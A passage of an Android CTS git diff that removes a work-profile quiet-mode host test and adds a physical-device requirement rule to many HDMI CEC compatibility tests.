-import static com.google.common.truth.Truth.assertThat;
-
-import android.platform.test.annotations.LargeTest;
-
-import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-import org.junit.Test;
-
-import java.io.FileNotFoundException;
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * CTS to verify toggling quiet mode in work profile by using
- * {@link android.os.UserManager#requestQuietModeEnabled(boolean, android.os.UserHandle)}.
- */
-@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
-public final class QuietModeHostsideTest extends BaseDevicePolicyTest {
- private static final String TEST_PACKAGE = "com.android.cts.launchertests";
- private static final String TEST_CLASS = ".QuietModeTest";
- private static final String PARAM_TARGET_USER = "TARGET_USER";
- private static final String PARAM_ORIGINAL_DEFAULT_LAUNCHER = "ORIGINAL_DEFAULT_LAUNCHER";
- private static final String TEST_APK = "CtsLauncherAppsTests.apk";
-
- private static final String TEST_LAUNCHER_PACKAGE = "com.android.cts.launchertests.support";
- private static final String TEST_LAUNCHER_APK = "CtsLauncherAppsTestsSupport.apk";
- private static final String ENABLED_TEST_APK = "CtsCrossProfileEnabledApp.apk";
- private static final String USER_ENABLED_TEST_APK = "CtsCrossProfileUserEnabledApp.apk";
- private static final String ENABLED_NO_PERMS_TEST_APK = "CtsCrossProfileEnabledNoPermsApp.apk";
- private static final String QUIET_MODE_ENABLED_TEST_APK = "CtsModifyQuietModeEnabledApp.apk";
- private static final String NOT_ENABLED_TEST_APK = "CtsCrossProfileNotEnabledApp.apk";
- private static final String ENABLED_TEST_PACKAGE = "com.android.cts.crossprofileenabledapp";
- private static final String USER_ENABLED_TEST_PACKAGE =
- "com.android.cts.crossprofileuserenabledapp";
- private static final String ENABLED_NO_PERMS_TEST_PACKAGE =
- "com.android.cts.crossprofileenablednopermsapp";
- private static final String NOT_ENABLED_TEST_PACKAGE =
- "com.android.cts.crossprofilenotenabledapp";
- private static final String QUIET_MODE_ENABLED_TEST_PACKAGE =
- "com.android.cts.modifyquietmodeenabledapp";
-
- private int mProfileId;
- private String mOriginalLauncher;
-
- @Override
- public void setUp() throws Exception {
- super.setUp();
-
- mOriginalLauncher = getDefaultLauncher();
-
- installAppAsUser(TEST_APK, mPrimaryUserId);
- installAppAsUser(TEST_LAUNCHER_APK, mPrimaryUserId);
-
- waitForBroadcastIdle();
-
- createAndStartManagedProfile();
- installAppAsUser(TEST_APK, mProfileId);
-
- waitForBroadcastIdle();
- wakeupAndDismissKeyguard();
- }
-
- @Override
- public void tearDown() throws Exception {
- uninstallRequiredApps();
- getDevice().uninstallPackage(TEST_LAUNCHER_PACKAGE);
-
- super.tearDown();
- }
-
- @LargeTest
- @Test
- public void testQuietMode_defaultForegroundLauncher() throws Exception {
- assumeHasSecureLockScreenFeature();
-
- // Add a lockscreen to test the case that profile with unified challenge can still
- // be turned on without asking the user to enter the lockscreen password.
- changeUserCredential(/* newCredential= */ TEST_PASSWORD, /* oldCredential= */ null,
- mPrimaryUserId);
- try {
- runDeviceTestsAsUser(
- TEST_PACKAGE,
- TEST_CLASS,
- "testTryEnableQuietMode_defaultForegroundLauncher",
- mPrimaryUserId,
- createParams(mProfileId));
- } finally {
- changeUserCredential(/* newCredential= */ null, /* oldCredential= */ TEST_PASSWORD,
- mPrimaryUserId);
- }
- }
-
- @LargeTest
- @Test
- public void testQuietMode_notForegroundLauncher() throws Exception {
- runDeviceTestsAsUser(
- TEST_PACKAGE,
- TEST_CLASS,
- "testTryEnableQuietMode_notForegroundLauncher",
- mPrimaryUserId,
- createParams(mProfileId));
- }
-
- @LargeTest
- @Test
- public void testQuietMode_notDefaultLauncher() throws Exception {
- runDeviceTestsAsUser(
- TEST_PACKAGE,
- TEST_CLASS,
- "testTryEnableQuietMode_notDefaultLauncher",
- mPrimaryUserId,
- createParams(mProfileId));
- }
-
- @LargeTest
- @Test
- public void testBroadcastManagedProfileAvailable_withoutCrossProfileAppsOp() throws Exception {
- checkBroadcastManagedProfileAvailable(/* withCrossProfileAppOps= */ false);
- }
-
-
- @LargeTest
- @Test
- public void testBroadcastManagedProfileAvailable_withCrossProfileAppsOp() throws Exception {
- checkBroadcastManagedProfileAvailable(/* withCrossProfileAppOps= */ true);
- }
-
- private void checkBroadcastManagedProfileAvailable(boolean withCrossProfileAppOps)
- throws Exception {
- installCrossProfileApps();
- if (withCrossProfileAppOps) {
- enableCrossProfileAppsOp();
- }
- clearLogcat();
- runDeviceTestsAsUser(
- TEST_PACKAGE,
- TEST_CLASS,
- "testTryEnableQuietMode",
- mPrimaryUserId,
- createParams(mProfileId));
- // In case of a necessary log is not captured
- // cause of too many logs while waiting idle broadcast, capture log previously.
- // This log will be concatenated.
- String log = getDevice().executeAdbCommand("logcat", "-d");
- waitForBroadcastIdle();
- verifyBroadcastSent("android.intent.action.MANAGED_PROFILE_UNAVAILABLE",
- /* needPermissions= */ !withCrossProfileAppOps, log);
-
- clearLogcat();
- runDeviceTestsAsUser(
- TEST_PACKAGE,
- TEST_CLASS,
- "testTryDisableQuietMode",
- mPrimaryUserId,
- createParams(mProfileId));
- log = getDevice().executeAdbCommand("logcat", "-d");
- waitForBroadcastIdle();
- verifyBroadcastSent("android.intent.action.MANAGED_PROFILE_AVAILABLE",
- /* needPermissions= */ !withCrossProfileAppOps, log);
-
- clearLogcat();
- removeUser(mProfileId);
- log = getDevice().executeAdbCommand("logcat", "-d");
- waitForBroadcastIdle();
- verifyBroadcastSent("android.intent.action.MANAGED_PROFILE_REMOVED",
- /* needPermissions= */ false, log);
- }
-
- private void clearLogcat() throws DeviceNotAvailableException {
- getDevice().executeAdbCommand("logcat", "-c");
- getDevice().executeAdbCommand("logcat", "-G", "16M");
- }
-
- private void verifyBroadcastSent(String actionName, boolean needPermissions, String prevLog)
- throws DeviceNotAvailableException {
- String result = getDevice().executeAdbCommand("logcat", "-d");
- result = prevLog + result;
- assertThat(result).contains(
- buildReceivedBroadcastRegex(actionName, "CrossProfileEnabledAppReceiver"));
- assertThat(result).contains(
- buildReceivedBroadcastRegex(actionName, "CrossProfileUserEnabledAppReceiver"));
- String noPermsString = buildReceivedBroadcastRegex(actionName,
- "CrossProfileEnabledNoPermsAppReceiver");
- if (needPermissions) {
- assertThat(result).doesNotContain(noPermsString);
- } else {
- assertThat(result).contains(noPermsString);
- }
- assertThat(result).doesNotContain(
- buildReceivedBroadcastRegex(actionName,
- "CrossProfileNotEnabledAppReceiver"));
- assertThat(result).contains(
- buildReceivedBroadcastRegex(actionName, "ModifyQuietModeEnabledAppReceiver"));
- }
-
- private String buildReceivedBroadcastRegex(String actionName, String className) {
- return String.format("%s: onReceive(%s)", className, actionName);
- }
-
- @LargeTest
- @Test
- public void testQuietMode_noCredentialRequest() throws Exception {
- assumeHasSecureLockScreenFeature();
-
- // Set a separate work challenge so turning on the profile requires entering the
- // separate challenge.
- changeUserCredential(/* newCredential= */ TEST_PASSWORD, /* oldCredential= */ null,
- mProfileId);
- runDeviceTestsAsUser(
- TEST_PACKAGE,
- TEST_CLASS,
- "testTryEnableQuietMode_noCredentialRequest",
- mPrimaryUserId,
- createParams(mProfileId));
- }
-
- private void createAndStartManagedProfile() throws Exception {
- mProfileId = createManagedProfile(mPrimaryUserId);
- switchUser(mPrimaryUserId);
- startUser(mProfileId);
- }
-
- private void uninstallRequiredApps()
- throws DeviceNotAvailableException {
- getDevice().uninstallPackage(TEST_PACKAGE);
- getDevice().uninstallPackage(ENABLED_TEST_PACKAGE);
- getDevice().uninstallPackage(USER_ENABLED_TEST_PACKAGE);
- getDevice().uninstallPackage(ENABLED_NO_PERMS_TEST_PACKAGE);
- getDevice().uninstallPackage(NOT_ENABLED_TEST_PACKAGE);
- getDevice().uninstallPackage(QUIET_MODE_ENABLED_TEST_PACKAGE);
- }
-
- private void installCrossProfileApps()
- throws FileNotFoundException, DeviceNotAvailableException {
- installCrossProfileApp(ENABLED_TEST_APK, /* grantPermissions= */ true);
- installCrossProfileApp(USER_ENABLED_TEST_APK, /* grantPermissions= */ true);
- installCrossProfileApp(NOT_ENABLED_TEST_APK, /* grantPermissions= */ true);
- installCrossProfileApp(ENABLED_NO_PERMS_TEST_APK, /* grantPermissions= */ false);
- installCrossProfileApp(QUIET_MODE_ENABLED_TEST_APK, /* grantPermissions= */ true);
- }
-
- private void enableCrossProfileAppsOp() throws DeviceNotAvailableException {
- enableCrossProfileAppsOp(ENABLED_NO_PERMS_TEST_PACKAGE, mPrimaryUserId);
- }
-
- private void installCrossProfileApp(String apkName, boolean grantPermissions)
- throws FileNotFoundException, DeviceNotAvailableException {
- installAppAsUser(apkName, grantPermissions, mPrimaryUserId);
- installAppAsUser(apkName, grantPermissions, mProfileId);
- }
-
- private void enableCrossProfileAppsOp(String packageName, int userId)
- throws DeviceNotAvailableException {
- getDevice().executeShellCommand(
- String.format("appops set --user %s %s android:interact_across_profiles 0",
- userId, packageName));
- assertThat(getDevice().executeShellCommand(
- String.format("appops get --user %s %s android:interact_across_profiles",
- userId, packageName))).contains("INTERACT_ACROSS_PROFILES: allow");
- }
-
- private Map<String, String> createParams(int targetUserId) throws Exception {
- Map<String, String> params = new HashMap<>();
- params.put(PARAM_TARGET_USER, Integer.toString(getUserSerialNumber(targetUserId)));
- params.put(PARAM_ORIGINAL_DEFAULT_LAUNCHER, mOriginalLauncher);
- return params;
- }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
index 94f43fca212..cb320557f2c 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
@@ -147,6 +147,11 @@ public class BaseHdmiCecCtsTest extends BaseHostJUnit4Test {
testPointer,
deviceType);
}
+
+ /** This rule will skip the test if the DUT is an emulator. */
+ public static TestRule requiresPhysicalDevice(BaseHostJUnit4Test testPointer) {
+ return RequiredDeviceTypeRule.requiredPhysicalDevice(testPointer);
+ }
}
/** @deprecated not used anymore **/
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
index 0ff99dd9a92..1d5d2af1805 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
@@ -144,9 +144,10 @@ public final class HdmiCecConstants {
public static final String HDMI_CEC_FEATURE = "feature:android.hardware.hdmi.cec";
public static final String LEANBACK_FEATURE = "feature:android.software.leanback";
- // CEC Device property list
+ // Device property list used in CTS
public static final String HDMI_DEVICE_TYPE_PROPERTY = "ro.hdmi.device_type";
public static final String PROPERTY_ARC_SUPPORT = "persist.sys.hdmi.property_arc_support";
+ public static final String PROPERTY_BUILD_FINGERPRINT = "ro.system.build.fingerprint";
/*
* The default name of local directory into which the port to device mapping files are stored.
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/RequiredDeviceTypeRule.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/RequiredDeviceTypeRule.java
index 935a07d0cd0..20c70d63abd 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/RequiredDeviceTypeRule.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/RequiredDeviceTypeRule.java
@@ -111,5 +111,34 @@ public class RequiredDeviceTypeRule implements TestRule {
}
};
}
+
+ /**
+ * Rule to check that the DUT is not an emulator.
+ * @param test The test using this rule.
+ * @return The rule to be used in the test.
+ */
+ public static RequiredDeviceTypeRule requiredPhysicalDevice(final BaseHostJUnit4Test test) {
+ return new RequiredDeviceTypeRule() {
+ @Override
+ public Statement apply(final Statement base, final Description description) {
+ return new Statement() {
+ @Override
+ public void evaluate() throws Throwable {
+ ITestDevice testDevice = test.getDevice();
+ String buildFingerPrint = RequiredPropertyRule.getDevicePropertyValue(test,
+ HdmiCecConstants.PROPERTY_BUILD_FINGERPRINT);
+ // Currently only Cuttlefish is supported in automation testing. We will add
+ // more targets in the future if necessary.
+ assumeFalse(
+ "Invalid device " + testDevice.getSerialNumber() + " for "
+ + "running HDMI Control CTS. Physical device required, "
+ + "emulator found instead.",
+ buildFingerPrint.contains("cf_x86_"));
+ base.evaluate();
+ }
+ };
+ }
+ };
+ }
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
index 8c12d5469d9..0559a6523a8 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
@@ -48,6 +48,7 @@ public final class HdmiCecAudioReturnChannelControlTest extends BaseHdmiCecCtsTe
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
index b36c673ad3a..c4c44aeee92 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
@@ -61,6 +61,7 @@ public final class HdmiCecInvalidMessagesTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
index fd3ed3d1784..f6b294fe27a 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
@@ -48,6 +48,7 @@ public final class HdmiCecLogicalAddressTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
index c73506767d9..1ef9bedfab6 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
@@ -43,6 +43,7 @@ public final class HdmiCecRemoteControlPassThroughTest extends BaseHdmiCecCtsTes
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
index 3acab1c11be..8869a126f88 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
@@ -56,6 +56,7 @@ public final class HdmiCecSystemAudioModeTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecDeviceTypeTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecDeviceTypeTest.java
index a38e3b2789e..4918d29778f 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecDeviceTypeTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecDeviceTypeTest.java
@@ -46,7 +46,9 @@ import java.util.List;
public final class HdmiCecDeviceTypeTest extends BaseHostJUnit4Test {
@Rule
- public RuleChain ruleChain = RuleChain.outerRule(CecRules.requiresLeanback(this));
+ public RuleChain ruleChain = RuleChain.outerRule(CecRules.requiresCec(this))
+ .around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this));
/** @deprecated not used anymore **/
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java
index 8cc368b533f..3c38e5eef14 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecFeatureAbortTest.java
@@ -43,6 +43,7 @@ public final class HdmiCecFeatureAbortTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
/**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecGeneralProtocolTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecGeneralProtocolTest.java
index fd7874d2cca..298a0ad3ce2 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecGeneralProtocolTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecGeneralProtocolTest.java
@@ -41,6 +41,7 @@ public final class HdmiCecGeneralProtocolTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
/**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java
index 6d3db56ed45..711a419c450 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecInvalidMessagesTest.java
@@ -36,9 +36,6 @@ import org.junit.Test;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
import java.util.concurrent.TimeUnit;
/** HDMI CEC test to verify that device ignores invalid messages (Section 12) */
@@ -68,6 +65,7 @@ public final class HdmiCecInvalidMessagesTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
@Before
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java
index 1c3e85a2500..c6864009ab5 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecLogicalAddressTest.java
@@ -21,16 +21,15 @@ import static com.google.common.truth.Truth.assertThat;
import android.hdmicec.cts.BaseHdmiCecCtsTest;
import android.hdmicec.cts.CecMessage;
import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecConstants;
import android.hdmicec.cts.LogicalAddress;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Rule;
+import org.junit.Test;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
-import org.junit.Test;
/** HDMI CEC test to verify physical address after device reboot (Section 10.2.3) */
@RunWith(DeviceJUnit4ClassRunner.class)
@@ -43,6 +42,7 @@ public final class HdmiCecLogicalAddressTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
/**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java
index 9d3fd05e877..c17f7fbaed8 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPhysicalAddressTest.java
@@ -37,6 +37,7 @@ public final class HdmiCecPhysicalAddressTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
/**
* Test 10.1.2-1
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
index 8bc0f24519b..bb9f0c791db 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPollingTest.java
@@ -35,6 +35,7 @@ public final class HdmiCecPollingTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
/**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
index bf7f9854565..faa163a1f17 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
@@ -54,6 +54,7 @@ public final class HdmiCecPowerStatusTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
/**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
index 7cd2e1f87ba..b60805f6400 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
@@ -46,6 +46,7 @@ public final class HdmiCecStartupTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
/**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemAudioControlTest.java
index 132c19fca2a..8c7a3f228ca 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemAudioControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemAudioControlTest.java
@@ -52,6 +52,7 @@ public final class HdmiCecSystemAudioControlTest extends BaseHdmiCecCtsTest {
public RuleChain ruleChain =
RuleChain.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(
CecRules.skipDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
index 5606f8720a6..06c6e7ca8f3 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
@@ -16,7 +16,6 @@
package android.hdmicec.cts.common;
-import com.android.tradefed.util.RunUtil;
import static android.hdmicec.cts.HdmiCecConstants.TIMEOUT_SAFETY_MS;
import static com.google.common.truth.Truth.assertThat;
@@ -29,6 +28,7 @@ import android.hdmicec.cts.LogicalAddress;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.util.RunUtil;
import org.junit.Rule;
import org.junit.Test;
@@ -47,6 +47,7 @@ public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
/**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java
index e8b1d8d8d75..d300f39053d 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemStandbyTest.java
@@ -55,6 +55,7 @@ public final class HdmiCecSystemStandbyTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
@Before
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java
index d44f44ccaaa..05943dc4936 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecVendorCommandsTest.java
@@ -63,6 +63,7 @@ public final class HdmiCecVendorCommandsTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(hdmiCecClient);
/**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecActiveTrackingTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecActiveTrackingTest.java
index 949a3d5d50b..6c0092eee2d 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecActiveTrackingTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecActiveTrackingTest.java
@@ -52,6 +52,7 @@ public final class HdmiCecActiveTrackingTest extends BaseHdmiCecCtsTest {
RuleChain
.outerRule(CecRules.requiresCec(this))
.around(CecRules.requiresLeanback(this))
+ .around(CecRules.requiresPhysicalDevice(this))
.around(CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
.around(hdmiCecClient);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecAvbToTvTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecAvbToTvTest.java
index 523dee62fb3..3772dd059f3 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecAvbToTvTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecAvbToTvTest.java
@@ -51,6 +51,7 @@ public class HdmiCecAvbToTvTest extends BaseHdmiCecAbsoluteVolumeBehaviorTest {
public RuleChain ruleChain =
RuleChain.outerRule(BaseHdmiCecCtsTest.CecRules.requiresCec(this))
.around(BaseHdmiCecCtsTest.CecRules.requiresLeanback(this))
+ .around(BaseHdmiCecCtsTest.CecRules.requiresPhysicalDevice(this))
.around(
BaseHdmiCecCtsTest.CecRules.requiresDeviceType(
this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecDeviceOsdNameTest.java
index 459f2604d8f..f2e2661c621 100644
